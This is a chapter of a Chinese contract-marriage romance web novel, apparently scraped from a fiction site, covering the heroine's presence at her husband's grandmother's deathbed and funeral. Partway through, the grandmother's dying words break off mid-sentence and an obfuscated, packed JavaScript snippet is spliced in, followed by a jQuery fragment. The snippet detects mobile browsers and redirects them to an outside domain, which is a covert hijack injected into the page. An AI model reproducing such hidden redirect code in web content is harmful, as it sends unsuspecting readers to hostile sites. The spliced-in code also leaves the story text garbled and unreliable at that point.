晨光如破碎的琉璃刺入许星艺的瞳孔，她踉跄地推开林家那扇沉重的雕花大门。宿醉的眩晕感像潮水般一波波袭来，太阳穴突突跳动，仿佛有人用钝器在颅内敲打。她下意识抬手遮眼，腕间还残留着昨夜婚礼晚宴上酒鸡尾酒的甜腻气息。
“桂叔？”她的声音嘶哑得不像自己，在挑高五米的门厅里荡出空洞的回音。“桂婶？”
无人应答。
整栋宅邸静得可怕，连平日滴答作响的座钟都停止了摆动。阳光透过古朴的雕花木窗户切进来，将地面分割成明暗交错的几何图形。
她赤脚踩上去，冰凉触感顺着脚底窜上脊背。手提包突然从肩头滑落，金属搭扣砸在地面发出惊心动魄的脆响。
与此同时，包内手机开始疯狂震动。许星艺跪坐在光影交界处，颤抖的手指三次才划开接听键。
“星艺啊！谢天谢地！”桂婶的哭喊混着电流杂音炸响，“老太太凌晨呕了血，现在在仁爱医院重症监护室...”电话那头传来压抑的抽泣，“张院长说...说可能就是今天了...”
许星艺的视野突然扭曲，手机在掌心变得滑腻。恍惚间，仿佛化作手术室的无影灯，照亮林奶奶枯枝般的手腕上那些紫红色的淤斑。
“我马上到。”她听见自己机械地回答，声音像是从很远的地方传来。
跌跌撞撞冲出大门时，庭院里的腊梅正被晨风吹散，殷红花瓣像血滴般粘在她雪白的真丝裙摆上。出租车司机被她煞白的脸色吓到，连闯两个红灯赶往医院。后视镜里，许星艺看见自己晕花的眼妆在下眼睑拖出两道青黑痕迹，活像恐怖片里的怨灵。
“林允川，接电话...”她第无数次重拨那个烂熟于心的号码，听着机械女声重复"您拨打的用户暂时无法接听”。
出租车一个急刹停在急诊通道。许星艺扔下钞票冲进旋转门，消毒水气味瞬间灌满鼻腔。电梯镜面映出她此刻的狼狈，凌乱的发丝间还夹着昨夜宴会的亮片。
VIP病房区的走廊笼罩在惨白的LED灯光下，消毒水混合着百合花的气味形成一种诡异的安宁。许星艺的高跟鞋在大理石地面上敲出急促的节奏，直到她看见走廊尽头那圈沉默的人影——林家众人如一幅精心构图的全家福，却唯独缺了她这个“妻子”的位置。
林允川的轮椅紧贴着病房门，他挺直的背影在蓝灰色西装下绷成一道锋利的剪影，白子怡静静地站在他身边，仿佛在无声的宣誓主权。
“你还有脸来？”林晴川突然横跨一步挡住去路，通红的眼睛像淬了毒，她刻意压低的声音里每个字都带着倒刺。
许星艺的指甲陷入掌心。她越过林晴川的肩膀，看见林允川的指节在轮椅扶手上泛出青白。但他始终没有回头，仿佛走廊里这场无声的厮杀与他无关。
“允川。”她终于站到他身侧，闻到他身上熟悉的雪松气息里混着医院特有的苦涩。
林允川这才转动轮椅，抬头时，原来清亮的眼睛如今像结了冰的湖面：“进去吧。”他说，“奶奶在等你。”
病房里的时间仿佛被调慢了流速。心电监护仪的电子音是唯一活跃的存在，每一声都像在倒数。
林奶奶躺在病床中央，各种导管在她枯枝般的手臂上蜿蜒，像给即将枯萎的植物做的最后灌溉。
病床尾端站着几位衣着肃穆的身影，许星艺的目光首先落在那个鬓角微霜的中年男人身上。岳伟——她名义上的公公，这个在财经杂志封面上永远意气风发的商业巨擘，此刻西装肩头落着未拍去的头皮屑，后脑勺几根白发在顶灯下闪着银光。
站在他身侧的刘娜显然精心装扮过，但再厚的粉底也盖不住她眼下青黑，涂着珊瑚色口红的嘴唇正神经质地抿成一线。岳池阳则木然地站在一旁，脸上的哀伤掩盖不住。
见到许星艺，刘娜的目光在她脸上来回扫视，岳伟则条件反射般看向儿子，而林允川的轮椅依旧固执地面向病床，只留给他们一个拒绝交流的背影。
“奶奶...”许星艺轻轻捧起那只布满针眼的手，突然想起三个月前这双手还灵活地教她包粽子，糯米香混着老人身上的檀香，熏得人眼眶发热。
老人的眼皮颤动如垂死的蝶，终于挣扎着睁开：“星艺啊...”她气管里的痰音让每个字都像在砂纸上摩擦，“川仔呢...我的小川...”
轮椅的金属部件发出细微的碰撞声。林允川俯身时，许星艺看见他后颈处有一绺头发没梳整齐，这个永远一丝不苟的男人，今天连头发都没顾上打理。
“奶奶，我在。”他握住老人的手贴在额头。
氧气面罩蒙上白雾又消散。林奶奶的视线在他们之间来回游移，突然用惊人的力气抓住他们的手腕，将两只手强硬地叠在一起。许星艺感受到林允川掌心那道车祸留下的疤痕，也感受到他瞬间僵硬的肌肉。
“听奶奶说...”老人喉咙里发出风箱般的声响，“星艺是...真心待你好...你们要好好的...”
林允川的喉结剧烈滚动。许星艺透过模糊的泪眼，看见他另一只手死死攥着轮圈。
“星艺...”林奶奶转向她，"谢谢你...这段时间...照顾川仔...他是个好孩子...只是太固执..."
许星艺的眼泪终于落下。“奶奶，您别说了，好好休息...”
“我的时间...不多了...”林奶奶紧紧第握住两人的手在一起，“答应我...要互相扶持......奶奶是看不到小玄孙了……”
林允川的手在许星艺掌心下微微颤抖，却没有抽离。
“晴儿......”林奶奶突然微微侧头，浑浊的目光转向站在床尾的林晴川，那眼神里透露出无尽的不舍，像是要把孙女的样貌永远刻进灵魂里。
林晴川几乎是扑到床前，精心打理的卷发凌乱地散在肩头。“奶奶，我在这呢......”她握住奶奶枯枝般的手，声音突然哽咽，眼泪冲花了精致的妆容，在脸上留下两道黑色的痕迹。
许星艺站在一旁，看着这个平日里对自己趾高气扬的大小姐此刻哭得像个迷路的孩子，心中泛起一阵酸楚。
“你啊......”林奶奶艰难地抬起另一只手，颤抖着想要抚摸林晴川的脸，却在半空中无力垂下，“不要太任性了......多听你哥哥嫂嫂的......”
“岳伟...”林奶奶看向曾经的女婿，“照顾好...孩子们...不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177104|180762||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要偏心，也别让...家散了...”
岳伟上前一步，声音哽咽：“妈，您放心。”
林奶奶的目光最后环视了一圈病房里的每个人，最后停在林允川和许星艺交叠的手上，嘴角浮现出安详的微笑，心电监护仪突然发出尖锐的警报声
医生护士迅速涌入，许星艺被挤到一旁。她看着林允川的轮椅被推到最前面，看着他把脸埋进奶奶逐渐失去温度的手掌，肩膀无声地抖动。
“死亡时间，下午2点47分。”
宣布声落下的瞬间，林晴川的哭声爆发出来。刘娜象征性地抹了抹眼角，岳伟则立刻开始打电话联系殡仪馆。许星艺站在原地，感到一种不真实的恍惚。
她试探性地向林允川走去，却在半路被白子怡拦住。“他现在需要的是安静，”白子怡压低声音，眼中不知为何闪烁着别样的光芒。
许星艺张了张嘴，最终沉默地退到角落。她看见林允川抬起头，通红的眼睛扫过她，又漠然地移开。
三天后的葬礼上，阴雨绵绵。许星艺穿着黑色丧服站在人群边缘，雨水顺着伞骨滴落在她肩头。林家墓园里摆满了白菊，潮湿的泥土气息混合着花香，沉重得令人窒息。
“感谢各位来送林老夫人最后一程。”岳伟在致辞，声音平静得像在读报告。刘娜站在他身边，精心保养的脸上看不出丝毫哀伤。
许星艺的目光始终追随着轮椅上的林允川。他一身剪裁得体的黑色西装，挺直的背影在晨光中投下一道冷硬的阴影，像是筑起了一道无形的墙，将所有人都隔绝在外。
从医院到葬礼，整整三天，他没有和她说一句话。
灵堂里飘着檀香的气息，许星艺站在角落，奶奶的黑白照片在烛光中微笑。她呆呆地望着林允川冷峻的侧脸，这段婚姻从一开始就是个错误，但是起码奶奶走得没有遗憾。
“星艺，节哀。”桂婶悄悄递来一块手帕，许星艺这才发现自己脸上已经分不清是雨水还是泪水。
仪式结束后，宾客们陆续离开。
许星艺看见林晴儿推着林允川的轮椅走向停车场，白子怡跟在旁边，三人看起来才像真正的一家人。她犹豫着是否该跟上去，却见林允川突然回头。
那一瞬间，她以为他终于要和自己说话了。可他只是看了看她，冷漠地移开视线。
雨水打湿了许星艺的裙摆，寒意顺着小腿往上爬。她想起契约婚姻开始时林允川说的话——“契约结束，各归各位”。
现在奶奶去世了，也就意味着契约提前到期，他们之间还剩下什么？
一把黑伞突然撑在她头顶。“星艺，回去吧。”桂叔不知何时站在了她身后，眼中带着长辈般的关切，“小川他......只是太伤心了。”
许星艺勉强点点头，跟着桂叔走向另一辆车。透过雨幕，她最后看了一眼林允川的方向。白子怡正弯腰为他整理膝上的毛毯，动作亲昵得刺眼。
车驶离墓园时，许星艺终于放任自己哭了出来。她不知道自己究竟在为奶奶的离去而哭，还是为这段即将结束的荒诞婚姻而哭，亦或是为那个始终没有跟她说话的男人而哭。
雨越下越大，车窗上的水痕模糊了整个世界。